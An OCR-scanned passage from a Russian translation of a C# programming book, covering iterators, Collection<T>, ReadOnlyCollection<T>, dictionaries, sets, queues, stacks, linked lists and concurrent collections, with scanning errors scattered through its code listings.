Коллекции ? Листинг 5.31. Бесконечный итератор J public static IEnumerable<BigInteger> Fibonacci () t Biginteger vl = 1; Biginteger v2 = 1; while (true) { yield return vl; var tmp = v2; v2 = vl + v2; vl = tmp; ) ! Данный итератор выполняется бесконечно долго; он содержит цикл while с истинным условием и без инструкций break и потому никогда не остановится по своей воле. Если бы C# попытался, прежде чем возвра- тить что-либо, довести выполнение итератора до конца, он бы застрял на этом этапе. (Поскольку значения в цикле возрастают, если бы вы по- зволили такому методу действовать достаточно долго, в конце концов он завершил бы свою работу, выбросив исключение OutOfMemoryException, но при этом не возвратил бы ничего полезного.) Однако попробовав за- пустить приведенный в примере код, вы обнаружите, что он практиче- ски немедленно начинает возвращать значения ряда Фибоначчи и про- должает это делать до тех пор, пока имеет место цикл. Очевидно, что C# использует какой-то другой подход, вместо того чтобы просто выпол- нить метод до конца и возвратить значения. Чтобы обеспечить такое функционирование этого кода, C# выпол- няет достаточно серьезную его переработку. Если вы воспользуетесь та- ким инструментом, как ILDASM (дизассемблер для .NET-кода, постав- ляемый вместе с набором инструментов .NET SDK), и взглянете на то, какой код компилятор генерирует для итератора, вы увидите закрытый вложенный класс, который выступает в роли реализации для возвра- щаемого методом типа IEnumerable<T>, а также типа IEnumerator<T>, воз- вращаемого методом GetEnumerator типа IEnumerable<T>. Код из метода итератора в итоге оказывается внутри метода MoveNext данного класса и в значительной мере теряёт свой исходный вид, поскольку компи- лятор разбивает его таким образом, чтобы каждая инструкция yield return могла возвратить значение вызывающему методу и чтобы при последующих вызовах метода MoveNext его выполнение продолжалось 255
Глава 5 с того же места, где оно было прервано. Если это необходимо, локальные переменные сохраняются внутри данного сгенерированного класса на протяжении неоднократных вызовов метода MoveNext. Возможно, самый простой способ ознакомиться с тем, какой код генерируется при ком- пиляции итератора, состоит в том, чтобы написать эквивалентный код вручную. Пример в листинге 5.32 выдает ту же последовательность зна- чений ряда Фибоначчи, что и в предыдущем, не прибегая к использова- нию итератора. Хотя нельзя сказать, будто данный пример в точности соответствует тому, что делает компилятор, он иллюстрирует некоторые из стоящих перед ним задач. Листинг 5.32. Реализация интерфейса iEnumerable<T> вручную class FibonacciEnumerable : IEnumerable<BigInteger>, IEnumerator<BigInteger> { private Biginteger vl; private Biginteger v2; private bool first = truer- public Biginteger Current { get { return vl; } ) public void Dispose() { } object lEnumerator.Current { get { return Current; } } public bool MoveNext() { if (first) { vl = 1; v2 = 1; first = false; } else { var tmp = v2; v2 = vl + v2; 256
Коллекции vl = tmp; } return true; } public void ResetO —. { first = true; ) public IEnumerator<BigInteger> GetEnumerator() { return new FibonacciEnumerable(); } lEnumerator lEnumerable. GetEnumerator () { return GetEnumerator(); } Это не особенно сложный пример, поскольку перечислитель здесь, по сути, находится в двух состояниях: он либо запускается в первый раз, и потому ему требуется выполнить код, расположенный перед циклом, либо находится внутри цикла. И даже несмотря на эту простоту, данный код читается намного труднее, чем код в листинге 5.31, поскольку меха- ника поддержки перечисления заслоняет здесь основную логику. Он выглядел бы еще запутаннее, если бы нам пришлось иметь дело с исключениями. Код можно помещать в блоки using и finally, кото- рые, как будет показано в главах 7 и 8, обеспечивают корректное поведе- ние кода в случае ошибок. В итоге компилятору приходится выполнять большой объем работы, чтобы сохранить корректную семантику этих блоков при разбиении выполнения метода на множество итераций*. И достаточно попробовать написать такой код вручную хотя бы раз, чтобы испытать большое облегчение от того, что C# способен сделать это за нас. Кстати говоря, вам не обязательно возвращать тип IEnumerable<T>. При желании вместо него можно возвратить тип IEnumerator<T>. * Определенная часть этой работы по очистке ресурсов выполняется в методе Dispose. Как вы, возможно, помните, все реализации интерфейса IEnumerator<T> реализу- ют интерфейс IDispose. Ключевое слово foreach вызывает метод Dispose после выполне- ния итерации по коллекции (даже если итерация была прекращена из-за ошибки). Если вы не используете ключевое слово foreach и выполняете итерацию вручную, то крайне важно, чтобы вы не забыли вызвать метод Dispose. 257
Глава 5 И, как вы видели ранее, объекты, которые реализуют любой из этих двух интерфейсов, также всегда реализуют и необобщенные эквива- ленты. Таким образом, если требуется простой тип lEnumerable или Enumerator, не потребуется совершать никаких дополнительных уси- лий — тип IEnumerable<T> можно передавать везде, где требуется про- стой тип lEnumerable, и то же самое справедливо в отношении типов IEnumerator<T> и Enumerator. Если по какой-либо причине вам потребу- ется предоставить один из этих необобщенных интерфейсов, но не обоб- щенную версию, вам разрешается создавать итераторы, возвращающие необобщенную форму напрямую. Один момент в работе итераторов требует определенной осмотри- тельности: они выполняют очень мало кода до первого обращения вы- зывающей программы к методу MoveNext. Так, если бы мы выполнили по шагам код, вызывающий метод Fibonacci из листинга 5.31, мы бы обнаружили, что во время вызова этот метод вообще ничего не делает. Зайдя в него в точке его вызова, мы бы увидели, что здесь не выполня- ется никакой код. Лишь после запуска итерации начинает выполняться тело итератора. У этого есть два следствия. Первое, что следует иметь в виду: если метод итератора принимает аргументы и вам нужно выполнить их валидацию, это может потребо- вать выполнения некоторой дополнительной работы. По умолчанию валидация выполнится лишь после того, как начнется итерация, поэто- му ошибки будут выявлены позднее, чем вы, возможно, ожидаете. Если вы хотите, чтобы валидация аргументов выполнялась немедленно, по- требуется написать обертку. Пример демонстрирует листинг 5.33. Здесь предоставляется обычный метод с именем Fibonacci, он не использует инструкцию yield return и потому не получает того особого отношения со стороны компилятора, которое имеют итераторы. Этот обычный ме- тод выполняет валидацию своего аргумента, а затем вызывает закрытый метод итератора. Листинг 5.33. Валидация аргумента итератора public static IEnumerable<BigInteger> Fibonacci(int count) { if (count < 0) { throw new ArgumentOutOfRangeException("count"); } return FibonacciCore(count); 258
Коллекции I private static IEnumerable<BigInteger> FibonacciCore(int count) Biginteger vl = 1; Biginteger v2 = 1; for (int i = 0; i < count; ++i) i yield return vl; var tmp = v2; v2 = vl + v2; vl = tmp; I Второе следствие заключается в том, что итераторы могут выпол- няться несколько раз. Интерфейс IEnumerable<T> предоставляет метод GetEnumerator, который может вызываться многократно; при этом тело итератора каждый раз выполняется с начала. Таким образом, один вы- зов метода итератора может привести к многократному выполнению этого метода. Класс Collection<T> Если вы взглянете на типы в библиотеке классов .NET, вы обнару- жите, что когда они предлагают свойства, экспонирующие реализацию янтерфейса I Li s t <Т>, зачастую это делается косвенным образом. Вместо янтерфейса свойства часто предоставляют некоторый точно заданный ип; и обычно это не List<T>. Тип List<T> предназначен для использо- вания в качестве детали реализации вашего кода, потому при его экспо- нировании напрямую вы можете предоставить пользователям слишком большой контроль над вашим классом. Вы же не хотите, чтобы у них была возможность модифицировать список? И даже если хотите, не должен ли ваш код узнавать, когда это будет происходить? Библиотека классов предоставляет Collection<T>, предназначен- яый для использования в качестве базового класса для коллекций, ко- торые тип делает общедоступными. Он сходен с List<T>, но обладает двумя существенными отличиями. Во-первых, он обладает меньшим API-интерфейсом — он предлагает метод IndexOf, но все остальные методы для поиска и сортировки, доступные для класса List<T>, здесь отсутствуют; и, помимо этого, он не дает способа узнать или изменить 259
Глава 5 емкость коллекции независимо от ее размера. Во-вторых, он пред ставляет возможность производным классам узнавать о добавлен! или удалении элементов. Класс List<T> не позволяет подобного том основании, что, поскольку это ваш список, вам, вероятно, долж1 быть известно о выполнении операций добавления и удаления эл ментов. Механизмы уведомления требуют некоторых затрат, поэт му List<T>, стремясь свести затраты к минимуму, не предлагает таю механизмов. Однако класс Collection<T> исходит из предположение что ваша коллекция окажется доступна для внешнего кода, и у вас н будет контроля над каждой операцией добавления или удаления эле ментов; потому он предоставляет возможность узнавать о модифика ции списка. В типичном случае создается класс, производный от Collections причем у вас есть возможность переопределить виртуальные метод! этого класса, чтобы узнавать об изменениях коллекции (о наследовали] и переопределении мы поговорим в главе 6). Класс Collections pea лизует и интерфейс IList, и интерфейс IList<T>, поэтому коллекцию hi базе класса Collection<T>, в принципе, можно представить через свой ство с типом интерфейса, однако более распространенная практика со стоит в том, чтобы сделать производный тип коллекции открытым и ис- пользовать его вместо интерфейса в качестве типа свойства. Класс ReadOnlyCollection<T> Если требуется предоставить немодифицируемую коллек-1 цию, то вместо класса Collection<T> можно использовать класс. ReadOnlyCollection<T>. Между прочим, следует отметить, что в своих! ограничениях он идет дальше массивов: он не позволяет не только до- бавлять, удалять или вставлять элементы, но даже заменять их. Данный класс реализует интерфейс IList<T>, который требует индексатор, об- ладающий и методом get, и методом set, однако метод set при этом вы- брасывает исключение. Конечно, если тип элементов коллекции является ссылочным, то, сделав коллекцию доступной только для чтения, вы не исключите воз- можность модификации тех объектов, на которые ссылаются элементы. Я могу извлечь, гкажем, 12-й элемент из доступной только для чтения коллекции; при этом она передаст мце ссылку. Выборка ссылки считает- ся операцией, не приводящей к изменению, однако после того, как я по- лучу эту ссылку, объект коллекции выйдет из поля зрения, и я смсиу 260
Коллекции делать с ним, все, что угодно. Поскольку в C# отсутствует концепция ссылки, доступной только для чтения (этот язык не предлагает никако- го эквивалента ссылкам const языка C++), единственный способ пред- ставить коллекцию, действительно доступнукГтолько для чтения, состо- ит в том, чтобы использовать неизменяемый тип в сочетании с классом ReadOnlyCollection<T>. Существуют два способа работы с классом ReadOnlyCollection<T>. Его можно использовать непосредственно как обертку для существую- щего списка — причем его конструктор принимает объект типа IList<T>, после чего он дает доступ только для чтения к этому объекту. (Попут- но замечу, что класс List<T> предоставляет метод с именем AsReadOnly, конструирующий для коллекции доступную только для чтения оберт- ку.) Альтернативный способ состоит в том, чтобы наследовать от класса ReadOnlyCollection<T>. Как и в случае Collection<T>, некоторые классы делают это для тех коллекций, что они хотят экспонировать через свой- ства, обычно с целью определить дополнительные методы, специфич- ные для назначения коллекции. Даже если вы наследуете от данного класса, вы будете использовать его для создания обертки для нижеле- жащего списка, поскольку он предоставляет только один конструктор, который принимает список. Класс ReadOnlyCollection<T> обычно не является хорошим вы- бором для систем, которые автоматически устанавливают соответствие между объектными моделями и определенным внешним представлением. Это включает системы объектно- реляционного отображения, которые представляют содер- жимое базы данных посредством объектной модели, а также механизмы сериализации, часть из них мы обсудим в главе 16. Такие системы иногда нуждаются в возможности инстанциро- вать вашу модель и, кроме того, могут рассчитывать на воз- можность свободной модификации данных, поэтому, несмотря на то что концептуально коллекция только для чтения может хорошо подходить для представления некоторой части вашей модели, она может не вписываться в используемый фрейм- ворками отображения способ инициализации объектов. Все описанные к этому моменту коллекции были линейными; мы рассматривали только простые последовательности объектов, часть из которых предлагают индексированный доступ. Однако платформа .NET предоставляет и другие виды коллекций. 261
Глава 5 Словари Одним из наиболее полезных видов коллекций являются словари. .NET предлагает класс Dictionary<TKey, TValue>, а также соответству- ющий интерфейс, которому, как и следовало ожидать, присвоено имя iDictionarydKey, TValue>. В .NET 4.5 была также добавлена версия только для чтения, IReadOnlyDictionaryCTKey, TValue>. Эти типы пред- ставляют пары ключ/значение, и особенно полезной их деталью являет- ся то, что выборка значений осуществляется по ключу, благодаря чему словари удобно использовать для представления ассоциаций. Допустим, вам нужно написать пользовательский интерфейс для некоторой службы социальной сети. Осуществляя вывод сообщения на экран, вы, возможно, желаете отобразить некоторые сведения об авторе сообщения, например его имя и фотографию, и одновременно с тем, ве- роятно, хотите избежать необходимости каждый раз выполнять выбор- ку этих данных из места их хранения. Если пользователь ведет разговор с несколькими друзьями, то следует ожидать повторных сообщений от одних и тех же людей, потому, во избежание повторных операций вы- борки, вы хотели бы предусмотреть некоторый кэш. В него можно вклю- чить словарь. В общих чертах этот подход демонстрирует листинг 5.34. (Здесь опущены специфичные для приложения детали, определяющие то, как именно осуществляется выборка данных и в какой момент из па- мяти удаляются старые записи.) Листинг 5.34. Использование словаря в качестве части кэша public class UserCache { private Dictionary<string, Userlnfo> _cachedUserInfo = new Dictionary<string, Userlnfo>(); public Userinfo Getlnfo(string userHandle) { RemoveStaleCacheEntries(); Userinfo info; if (!_cachedUserInfo.TryGetValue(userHandle, out info)) ( info = FetchUs.erInfo (userHandle) ; _cachedUserInfo.Add(userHandle, info); ) return info; 262
private Userinfo FetchUserlnfo(string userHandle) { ... выборка информации ... ( private void RemoveStaleCacheEntries() { ... специфичная для приложения логика удаления старых записей ... } } public class Userinfo ! ... специфичная для приложения информация о пользователе ... } Первый аргумент типа, ТКеу, представляет собой ключ, который ис- пользуется для выборки значений, и в данном примере я написал строку, определенным образом идентифицирующую пользователя. Аргумент TValue представляет собой тип ассоциированного с ключом значения — в данном случае это информация, которая была извлечена для пользова- теля и кэширована локально в экземпляре класса Userinfo. Для поиска в словаре данных, ассоциированных с манипулятором пользователя, ме- тод Getlnfo применяет метод TryGetValue. Существует и более простой способ выборки значения. Как демонстрирует листинг 5.35, словари предоставляют индексатор. Однако если запись с указанным ключом не будет найдена, индексатор выбросит исключение KeyNotFoundException. Это не представляет проблемы, когда ожидается, что поиск всегда бу- дет успешным, однако в нашем случае ключ для любого пользователя, данные о котором еще не занесены в кэш, будет отсутствовать. Такое, вероятно, станет происходить достаточно часто; именно поэтому я и ис- пользую метод TryGetValue. В качестве альтернативы перед выборкой записи можно было бы проверить, присутствует ли она в словаре, с по- мощью метода ContainsKey, однако в случае наличия искомой записи это было бы неэффективным — поиск записи выполнялся бы дважды, пер- вый раз при вызове метода ContainsKey, а второй — при использовании индексатора. Листинг 5.35. Выборка значения словаря с помощью индексатора Userinfo info = _cachedUserInfo[userHandle]; 263
Глава 5 Логично, что индексатор также можно использовать для установки! ассоциированного с ключом значения. В листинге 5.34 я не применял! этот способ. Вместо него я воспользовался методом Add, по той причине, I что он обладает несколько иной семантикой: если вы вызываете метод Add, следовательно, вы рассчитываете, что в словаре нет записей с ука- занным ключом. При попытке использовать ключ, для которого уже существует запись, метод Add выбросит исключение, в то время как ин- дексатор просто перезапишет существующую запись. В тех ситуациях, когда присутствие такого же ключа в словаре означает наличие неко- j торой проблемы, лучше использовать метод Add, чтобы она не осталась | незамеченной. Интерфейс IDictionary<TKey, TValue> требует, чтобы его реализа- ции также предоставляли интерфейс ICollection<KeyValuePair<TKey, TValue» и потому также интерфейс IEnumerable<KeyValuePair<TKey, TValue». Версия только для чтения нуждается только во втором из них. Данные интерфейсы зависят от обобщенной структуры KeyValuePair<TKey, TValue>, которая представляет собой очень простой контейнер, обертывающий ключ и значение в одном экземпляре. Это означает, что мы можем выполнять итерацию по словарю, используя ин- струкцию foreach, и при этом она будет по очереди возвращать каждую пару ключ/зцачение. Наличие интерфейса !Enumerable<T> и метода Add также означает, что мы можем использовать синтаксис инициализатора коллекции. Это делается не совсем так, как в случае простого списка, поскольку метод Add словаря принимает два аргумента: ключ и значение. Однако синтак- сис инициализатора коллекции позволяет использовать и методы Add с несколькими аргументами. При этом, как демонстрирует листинг 5.36, каждый набор аргументов обертывается в фигурные скобки. Листинг 5.3в. Синтаксис инициализатора для словаря var textToNumber = new Dictionary<string, int> I { "One", 1 I, ( "Two", 2 1, { "Three", 3 }, }; В предоставлении быстрой выборки данных класс коллекции DictionaryCTKey, TValue> полагается на хэш-коды. В главе 3 уже был 264
Коллекции рассмотрен метод GetHashCode; кроме того, какой бы тип вы ни использо- вали в качестве ключа, он должен предоставлять хорошую реализацию хэш-кода. Вполне подойдет класс string', а также классы, к которым можно применить реализацию метода GetHashCode, предоставляемую по умолчанию. (Метод GetHashCode, предоставляемый по умолчанию, при- меним только в том случае, если разные экземпляры типа всегда счи- таются обладающими разными значениями.) В качестве альтернативы класс словаря предоставляет конструкторы, принимающие интерфейс IEqualityComparer<TKey>, который позволяет предоставить реализации методов GetHashCode и Equals, и использовать их вместо методов, предо- ставляемых типом ключа. В листинге 5.37 эта возможность применяет- ся, чтобы сделать нечувствительную к регистру версию словаря из ли- стинга 5.36. Листинг 5.37. Словарь, нечувствительный к регистру var textToNumber = new Dictionary<string, int>( StringComparer.InvariantCulturelgnoreCase) ( ( "One", 1 ), ( "Two", 2 ), , ( "Three", 3 ), ); В приведенном примере используется класс Stringcomparer, который предоставляет различные реализации интерфейсов IComparer<string> и IEqualityComparer<string>, предлагающие разные правила сравнения. В данном случае я выбрал упорядочивание с игнорированием регистра символов, а также с игнорированием заданной локали, чтобы обеспе- чить единообразное поведение в различных регионах. Если бы я выпол- нял сортировку строк перед их выводом на экран, я бы остановился на одном из способов упорядочивания, учитывающих выбранную локаль. Отсортированные словари Класс DictionarydKey, TValue> использует выборку данных на осно- ве хэш-кода, потому при выполнении итерации по его содержимому он возвращает элементы в трудно предсказуемом и не очень удобном поряд- ке. Этот порядок никак не связан с очередностью добавления контента в словарь, и в нем не прослеживается очевидной связи с самим содержи- мым. (Обычно порядок кажется случайным, хотя в действительности он 265
Глава 5 определяется хэш-кодом элементов.) Иногда полезно располагать воз можностью извлекать содержимое словаря в некоторой осмысленно последовательности. Хотя вы всегда можете перенести это содержимо вмассив и отсортировать его там, пространство имен System. Collections. Generic содержит еще две реализации интерфейса !Dictionary<TKey, TValue>, которые хранят свое содержимое в отсортированном порядке Это классы SortedDictionarycTKey, TValue> и SortedList<TKey, TValue>. Несмотря на немного сбивающее с толку имя, класс SortedList<TKey, TValue> реализует интерфейс iDictionarycTKey, TValue>, а не lList<T>. Эти классы не используют хэш-коды, но им тем не менее удается обеспечить достаточно высокую скорость выборки данных благодаря поддержанию контента в отсортированном порядке. Они сохраняют его при каждом внесении новой записи, в результате чего операция добав- ления у обоих этих классов делается медленнее, чем у словаря на основе хэш-кодов. Однако в то же время при выполнении итерации по содер- жимому оно извлекается в упорядоченном виде. Как и в случае сорти- ровки массивов и списков, здесь существует возможность задать пользо- вательскую логику сравнения, но если тип ключа реализует интерфейс IComparable<T>, то по умолчанию будет применяться этот тип. Порядок следования, поддерживаемый классом SortedDictionarycTKey, TValue>, становится очевидным, только если вы также используете предоставля- емую этим классом поддержку перечисления (например, посредством циклов foreach). Класс SortedListcTKey, TValue> тоже поддерживает перечисление контента в отсортированном порядке, но вдобавок предо- ставляет доступ к ключам и значениям по числовому индексу. Данная возможность не обеспечивается путем использования индексатора объ- екта — как и у любого другого словаря, индексатор требует передачи ключа. Вместо этого отсортированный список определяет два свойства Keys и Values, которые предоставляют все ключи и значения в виде, со- ответственно, объектов типа IList<TKey> и типа !List<TValue>, отсорти- рованных таким образом, чтобы ключи располагались в возрастающем порядке. Вставка и удаление объектов являются для отсортированного спи- ска сравнительно затратными операциями, поскольку при этом прихо- дится сдвигать содержимое списка ключей и значений вперед или назад (что означает, что одна операция вставки обладает сложностью порядка О(п)). В отсортированном словаре, с другой стороны, для поддержания контента в отсортированном порядке используется древовидная струк- тура данных. Хотя точные детали при этом не специфицируются, задо- 266
Коллекции кументировано, что операции вставки и удаления обладают сложностью порядка O(logn), что является намного более высоким показателем про- изводительности по сравнению с отсортированным списком. Однако вследствие использования более сложной структуры данных отсорти- рованному словарю требуется намного больший объем памяти. То есть нельзя сказать, что один из этих двух классов определенно быстрее или лучше другого — все зависит от шаблона использования; именно потому .NET предоставляет оба класса. В общем случае основанный на применении хэш-кодов класс Dictionary<TKey, Value> обеспечивает более высокую производитель- ность операций вставки, удаления и выборки данных, чем у обоих клас- сов отсортированного словаря, и намного более низкое потребление памяти, чем у класса SortedDictionary<TKey, TValue>, потому исполь- зовать эти коллекции отсортированных словарей следует лишь в том случае, когда требуется обеспечить доступ к содержимому словаря в от- сортированном порядке. Множества Л В пространстве имен System.Collections.Generic определен интер- фейс ISet<T>. Он предлагает очень простую модель: любое конкретное значение либо является членом множества, либо нет. Вы можете добав- лять и удалять элементы, однако множество не отслеживает, сколько раз производилось добавление, и, помимо этого, интерфейс ISet<T> не требует, чтобы элементы сохранялись в каком-либо определенном по- рядке. Все типы множества реализуют интерфейс ICollection<T>, который предоставляет методы для добавления и удаления элементов. На самом деле он также определяет метод для установления принадлежности к множеству: хотя я не привлекал ваше внимание к этому ранее, в ли- стинге 5.26 можно увидеть, что интерфейс ICollection<T> определяет метод Contains. Он принимает одно значение и возвращает true, если коллекция содержит его. Поскольку интерфейс ICollection<T> уже предоставляет отличи- тельные операции множества, возникает вопрос, зачем же нам вообще нужен ISet<T>? Данный интерфейс определяет несколько дополни- тельных возможностей. Хотя в ICollection<T> уже определен метод Add, ISet<T> определяет свою, слегка отличающуюся версию этого метода, 267
Глава 5 которая возвращает значение типа bool, позволяя вам узнать, содержащей ли уже множество добавляемое значение или нет. ? Интерфейс ISet<T> также определяет ряд операций для объединен ния множеств. Метод UnionWith принимает объект типа IEnumerable<T> и добавляет в множество те значения этого перечисления, которых еще в нем нет. Метод ExceptWi th удаляет из множества значения, присутству- ющие в переданном ему перечислении. Метод IntersectWith удаляет из множества значения, отсутствующие в переданном ему перечислении. И, наконец, метод SymmetricExceptWith удаляет из множества значения, присутствующие в переданном перечислении, и одновременно добавля- ет значения перечисления, которых еще нет в множестве. Кроме того, определен ряд методов для сравнения множеств. Эти ме- тоды также принимают аргумент типа IEnumerable<T>, в данном случае представляющий другое множество, с которым выполняется сравнение. Методы IsSubsetOf и IsProperSubsetOf позволяют проверить, содержит ли множество, для которого вызывается метод, только значения, также присутствующие в переданном перечислении; при этом второй из на- званных методов дополнительно требует, чтобы в перечислении было, по крайней мере, одно значение, которого нет в множестве. Методы IsSupersetOf и IsProperSupersetOf выполняют ту же проверку в проти- воположном направлении. Метод Overlaps сообщает, обладают ли два множества хотя бы одним общим значением. Математические множества не определяют порядок следования своих элементов, поэтому не имеет смысла ссылаться на 1-й, 10-й или и-й — можно лишь задать вопрос, содержит ли множество некоторый элемент или нет. В соответствии с этой особенностью математических свойств множества .NET не поддерживают индексированный доступ, потому интерфейс ISet<T> не требует поддержки интерфейса IList<T>. Реализациям предоставляется свобода выдавать члены множества в ка- ком угодно порядке в их реализации интерфейса IEnumerable<T>. Библиотека классов .NET Framework предлагает два класса, предо- ставляющих данный интерфейс, с немного разными стратегиями реа- лизации: HashSet и SortedSet. Как вы, возможно, догадались по имени, одна из этих двух встроенных реализаций все же упорядочивает элемен- ты; класс SortedSet всегда поддерживает контент в отсортированном порядке. Документация не предоставляет точные детали используемой стратегии, однако, по-видимому, данный класс применяет сбаланси- рованное бинарное дерево, чтобы обеспечить эффективные операции 268
Коллекции вставки и удаления, а также быстрый поиск при выполнении проверки, присутствует ли уже в множестве конкретное значение. Другая реали- зация, HashSet, работает-аналогично классу Dictionary<TKey, TValueX Этот класс использует выборку данных на основе хэш-кода, что часто обеспечивает более высокую производительность по сравнению с упо- рядоченным подходом, однако в то же время несет в себе тот недоста- ток, что обход коллекции с помощью цикла foreach возвращает никак не упорядоченные результаты. (Таким образом, между классами HashSet и SortedSet существует примерно такая же взаимосвязь, как между сло- варем на основе хэш-кодов и отсортированными словарями.) Очереди и стеки Очередь — это список, позволяющий прочесть только самыццервый элемент, а также удалить его (в результате чего второй, если таковой име- ется, становится новым первым элементом). Добавлять новые элементы можно только в конец очереди — то есть это список, организованный по принципу FIFO (First In, First Out — «первым пришел — первым ушел»). Такая особенность делает очередь менее удобной, чем класс List<T>, по- скольку он позволяет считывать, вставлять или удалять элементы в лю- бом месте списка. Однако ограничения позволяют реализовать очередь с намного более высокими показателями производительности операций вставки и удаления. При удалении элемента из коллекции типа List<T> ей приходится сдвигать все содержимое, расположенное после удаляе- мого элемента, чтобы закрыть образовавшийся разрыв, и аналогичный сдвиг приходится делать при вставке. Класс List<T> обеспечивает эф- фективное выполнение операций вставки и удаления в конце списка, однако, если вам требуется семантика принципа FIFO, вы не можете ра- ботать исключительно в конце списка — вам также потребуется выпол- нять либо вставку, либо удаление в его начале, так что класс List<T> — плохой выбор для этой цели. Класс Queue<T> может использовать гораздо более эффективную стратегию, поскольку ему требуется поддерживать только семантику очереди (для внутреннего представления данных он использует кольце- вой буфер, однако это уже детали реализации). Чтобы добавить новый элемент в конец очереди, необходимо вы- звать метод Enqueue. Для удаления элемента из головы очереди следует вызвать метод Dequeue. Если требуется просмотреть первый элемент без его удаления, вызовите метод Реек. Если очередь является пустой, два 269
Глава 5 последних метода выбрасывают исключение InvalidOperationExceptioi Узнать, сколько элементов содержит очередь, можно с помощью свой- ства Count. На самом деле существует возможность просмотреть всю очередь це- ликом, поскольку класс Queue<T> реализует интерфейс IEnumerable<T>, а также предоставляет метод ТоАггау, который возвращает массив с ко- пией текущего содержимого очереди. Стек сходен с очередью, но элементы из него извлекаются из того же конца, в котором выполняется их добавление — то есть это список, ор- ганизованный по принципу LIFO (Last In, First Out — «последним при- шел — первым ушел»). Класс Stack<T> очень сходен с классом Queue<T>, с тем отличием, что вместо имен Enqueue и Dequeue для методов добавле- ния и удаления элементов используются традиционные имена стековых операций: Push и Pop (имена других методов — Реек, ТоАггау и пр. - оста- ются без изменений). Библиотека классов не предлагает очередь с двумя концами (то есть эквивалент классу deque языка C++). Однако подмножество этой функ- циональности могут предложить связанные списки. Связанные списки Класс LinkedList<T> предоставляет реализацию классической струк- туры данных двусвязного списка, в которой каждый элемент последо- вательности обернут в объект (типа LinkedListNode<T>), предоставляю- щий ссылки на предыдущий и следующий элементы. Значительным преимуществом связанного списка является то, что выполнение встав- ки и удаления не требует больших затрат — при этом не нужно сдвигать элементы внутри массива или повторно балансировать бинарное дере- во, достаточно лишь заменить несколько ссылок. К недостаткам следует отнести то, что связанные списки обладают повышенным потреблением памяти, размещая в куче дополнительный объект для каждого элемента коллекции, а также требуют сравнительно больших затрат процессор- ного времени при получении n-го элемента, поскольку для этого нужно начать с начала коллекции й обойти п узлов. Первый и последний узлы объекта типа LinkedList<T> доступны че- рез свойства, которые, как и следовало ожидать, носят имена First (англ. первый) и Last (англ, последний). Вставить элементы в начало и конец 270
Коллекции списка можно с помощью, соответственно, методов AddFirst и AddLast. Для добавления элемента в середину списка необходимо вызвать метод AddBefore или AddAfter, передав тот объект типа LinkedListNode<T>, пе- ред которым или после которого вы хотели бы вставить новый элемент. Связанный список предоставляет методы RemoveFirst (англ, удалить первый) и RemoveLast (англ, удалить последний), а также две перегруз- ки метода Remove, которые позволяют удалять первый узел с указанным значением или конкретный объект типа LinkedListNode<T>. Непосредственно сам тип LinkedListNode<T> предоставляет свой- ство Value с типом Т, содержащим действительное значение той точки последовательности, которую представляет данный узел. Свойство List содержит ссылку на вмещающий объект типа LinkedList<T>, а свойству Previous и Next — ссылки на предыдущий и следующий узлы. Для обхода содержимого связанного списка можно, конечно, из- влечь первый узел из свойства First, а затем переходить по ссылкам из свойства Next каждого узла, пока не будет получено значение null. Од- нако тип LinkedList<T> реализует интерфейс IEnumerable<T>, поэтому будет проще просто воспользоваться циклом foreach. Если требуется извлечь элементы в обратном порядке, начните с узла Last и переходите по ссылкам из свойства Previous каждого узла. Если список является пустым, свойства First и Last будут содержать значение null. Параллельные коллекции Классы коллекций, которые мы рассматривали до сих пор, предна- значены для работы в одном потоке. Хотя вы свободно можете использо- вать сразу несколько экземпляров в разных потоках, любой конкретный экземпляр любого из этих типов в любой момент должен использовать- ся только из одного потока*. Однако также существуют типы, которые предназначены для одновременного применения несколькими потока- ми без необходимости прибегать к механизмам синхронизации, опи- санным в главе 17. Эти типы определены в пространстве имен System. Collections. Concurrent. Параллельные коллекции не предлагают эквиваленты для каждого типа непараллельной коллекции. Некоторые из этих классов предна- * Из этого правила есть одно исключение: коллекцию можно использовать из не- скольких потоков, если ни один из них не пытается ее модифицировать. 271
Глава 5 значены для решения конкретных задач параллельного программирова- ния, другие работают, не требуя блокировки, а это может означать, что представляемый ими API-интерфейс несет в себе некоторые отличия от API-интерфейса любого обычного класса коллекции. Классы ConcurrentQueue<T> и ConcurrentStack<T> в наибольшей мере напоминают своим видом непараллельные коллекции, которые мы уже рассмотрели, но в то же время и не являются идентичными им. Методы Dequeue и Реек обычной очереди здесь замещены методами TryDequeue и ТгуРеек, поскольку в параллельном окружении никогда нельзя ска- зать заранее, будет ли попытка извлечения элемента успешной или нет. (Конечно, можно проверить значение свойства Count, но даже если оно не равно нулю, в промежутке времени между выполнением этой про- верки и попыткой извлечь элемент до очереди может добраться другой поток и сделать ее пустой.) Таким образом, операция извлечения эле- мента должна быть атомарной вместе с проверкой доступности элемен- та, и именно поэтому параллельная очередь использует формы мето- дов, начинающиеся на Try, которые в случае неудачи не выбрасывают исключение. Аналогичным образом параллельный стек предоставляет методы ТгуРор и ТгуРеек. Класс ConcurrentDictionary<TKey, TValue> во многом сходен со сво- им непараллельным родственником, но предоставляет дополнительные методы, обеспечивающие необходимую в параллельном окружении атомарность: метод TryAdd объединяет проверку на наличие ключа с до- бавлением новой записи; метод GetOrAdd делает то же самое, но в слу- чае наличия ключа дополнительно возвращает существующее значение в составе все той же атомарной операции. Библиотека классов не предоставляет параллельную версию списка, поскольку успешное использование упорядоченных проиндексирован- ных списков в параллельном окружении, как правило, требует менее де- тальной синхронизации. Однако если вам нужен просто набор объектов, вы можете воспользоваться классом ConcurrentBag<T>, который не под- держивает никакой конкретный порядок следования. Также предостав- ляется класс BlockingCollection<T>, который работает подобно очереди, но позволяет тем потокам, что выполняют удаление элементов, блоки- ровать доступ к очереди, пока элементы снова не освободятся. Вы также можете установить ограничение на емкость; при этом потоки, которые пытаются добавить элементы в очередь, будут блокироваться, если она заполнена, и ожидать появления свободного пространства. 272
